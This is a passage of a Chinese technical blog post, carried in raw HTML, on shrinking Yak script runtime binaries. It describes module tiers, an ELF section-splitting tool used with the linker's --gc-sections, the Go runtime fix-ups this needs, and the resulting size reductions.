227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">9,018,202 B（8.60 MiB）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.ssa</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2,951,716 B（2.82 MiB）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.shared</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1,031,361 B（0.98 MiB）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.cli</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">30,330 B</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.http</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">25,118 B</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.yakit</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2,075 B</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.os</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">52 B</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.poc</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">52 B</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.codec</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">52 B</span></p></td></tr></tbody></table></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">结论很直接：</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">真正的大块只有四个</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——语言前端（ssafront，11.88 MiB）、网络/数据库公共闭包（sharednet，8.60 MiB）、SSA 静态分析（ssa，2.82 MiB）和公共核心（shared，0.98 MiB）。`os`/`poc`/`codec` 各只有 52 字节，那只是注册函数，真正实现都在公共闭包里。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">3.2 用依赖数据分档，不拍脑袋</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">怎么决定哪些模块放一起？我们跑了 `go list -deps`，看每个包被哪些模块闭包引用——</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">同生共死的包天然应该待在一起</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">按依赖自然聚合成三档：</span></span></p><p><table style="border: none;border-collapse: collapse;min-width: 75px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">档位</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">包含模块</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">archive 大小</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">core</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">os / codec / yakit（纯计算）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">13 MB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">net</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">core + cli / poc / http</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">72 MB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">staticanalyze</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">syntaxflow + ssa（含语言前端）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">220 MB</span></p></td></tr></tbody></table></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">3.3 编译时自动选最小可用档</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">编译器根据脚本实际用到的模块，</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">自动选最小可用档</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">纯计算脚本落在 core，用到网络落在 net，需要代码分析才上 staticanalyze。构建每一档 archive 时，不在模块列表里的代码和元数据，会被链接器一起删干净。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;text-align: left;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">4. 链接期删除：--gc-sections 和elfsplit</span></strong></span></p></div></div></div></div></div><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">4.1 --gc-sections 是什么</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">链接器的&#34;垃圾回收&#34;：从程序入口出发，沿着引用关系把所有&#34;活着&#34;的代码和数据标记出来，</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">没被标记的整段丢弃</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">前提是代码被切成足够小的段，段越细，回收越精细。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">4.2 Go c-archive 的尴尬</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Go 编译出来的 c-archive，把所有代码放在</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">一个巨大的 `.text` 段</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">里。对 `--gc-sections` 来说，这个段要么全留、要么全丢——不是链接器不努力，是代码根本没有给它下刀的地方。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">4.3 elfsplit：把一整块板子切成拼图</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">我们自己写了一个工具（elfsplit），在构建 archive 时把里面的 ELF 重新切一遍：</span></span></p><ol class="list-paddingleft-1" start="1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">遍历符号表，把每个函数按它归属的模块分类；</span></span></p></li></ol><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2. 把每个模块的代码</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">物理搬进独立的段</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（`.modtext.&lt;模块&gt;`）；</span></span></p><ol class="list-paddingleft-1" start="3"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">把对应的重定位信息也一起搬过去。</span></span></p></li></ol><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">切完之后，</span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">--gc-sections</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 就能按模块粒度整段删除没用的代码——脚本没用 </span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">ssa</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，整个 </span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">.modtext.ssa</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 连带语言前端一起扔掉。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">4.4 删完之后，要修 Go 的数据</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">二进制不能&#34;删了就跑&#34;，Go 运行时对自己内部结构有严格要求：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">    初始化任务</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">被删模块的 init 任务要标记为&#34;已完成&#34;，否则运行时启动时会去找一个不存在的初始化函数；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">    哑函数</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">从保留代码指向被删代码的调用，要重定向到&#34;一调用就报错&#34;的占位函数——宁可带着路径报错，也不能静默返回错误结果；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">    代码段映射表</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">Go 运行时内部有一张&#34;代码段在哪&#34;的映射表，代码搬过家之后必须同步更新，否则程序一跑就崩；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">    可选的符号折叠</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">函数名是元数据里的一大块，折叠掉还能再省约 15MB，代价是 panic 堆栈里看不到函数名（行号还在），默认关闭。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">4.5 代码在哪里</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">想看的同学可以直接去 yaklang 仓库翻：</span></span></p><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/cmd/elfsplit/</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——ELF 拆节工具（切段、搬重定位、pclntab 折叠）</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/runtime/patch/</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——链接期运行时修补（重定位中和、init 标记、textsectmap 修复）</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/compiler/</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——自包含编译/链接入口（</span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">linker_selfcontained.go</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">compile_dispatch_selfcontained.go</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">）</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/runtime/tiers/</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——档位定义与自动选择</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/scripts/build_yaklib.sh</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">、</span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">build_tiers.sh</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——运行时与档位构建</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/tests/artifact_pruning_test.go</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——裁剪回归测试（行为 + 体积 + ELF 节三重证据）</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">common/yak/ssa2llvm/docs/article-link-time-pruning.md</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——完整技术版文章</span></span></p></li></ul><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span leaf=""><span textstyle="" style="font-weight: bold;">5.效果</span></span></p></div></div></div></div></div><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">5.1 同一个 hello world 的对比</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">同样一份 </span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">print(&#34;hello&#34;)</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 代码，我们量了两种状态：只分块（不做链接删除）和分块 + 链接删除：</span></span></p><p><table style="border: none;border-collapse: collapse;min-width: 75px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">档位</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">只分块、不删减</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">分块 + 链接删除</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">全量（原始运行时）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">109.77 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">84.62 MiB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">staticanalyze（=全量档）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">109.77 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">84.62 MiB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">net（网络档）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">37.28 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">28.73 MiB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">core（纯计算档）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">8.10 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">7.87 MiB</span></p></td></tr></tbody></table></p><blockquote><p><span leaf="">第一行是&#34;什么都没做&#34;的原始基线；staticanalyze 档就是全量档，分块本身对它没有收益，收益在更小的两档。</span><code><span leaf="">net</span></code><span leaf=""> 档单靠分块就从 109.77 MiB 降到 37.28 MiB，</span><code><span leaf="">core</span></code><span leaf=""> 档再降到 8.10 MiB；叠加链接删除后分别是 28.73 MiB 和 7.87 MiB。</span></p></blockquote><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">5.2 不同脚本的实际效果</span></span></h3><p><table style="border: none;border-collapse: collapse;min-width: 100px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">脚本</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">选中档</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">原（单一全量档）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">现在</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">println(&#34;hello&#34;)</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">core</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">84.62 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">7.87 MiB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">codec.EncodeBase64</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">core</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">85.62 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">8.10 MiB</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">http.Get</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">net</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">94.50 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">37.28 MiB</span></p></td></tr></tbody></table></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">同一档内链接删除依然在干活：net 档上 hello world 是 28.73 MiB，`http.Get` 是 37.28 MiB——差的</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">8.55 MiB</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 正是链接期删除在档内又删掉的模块代码。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">两层叠加：hello world 从原始 109.77 MiB 到 </span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">7.87 MiB（−92.8%）</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">其中分块贡献了大头，链接删除在档内继续抠。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 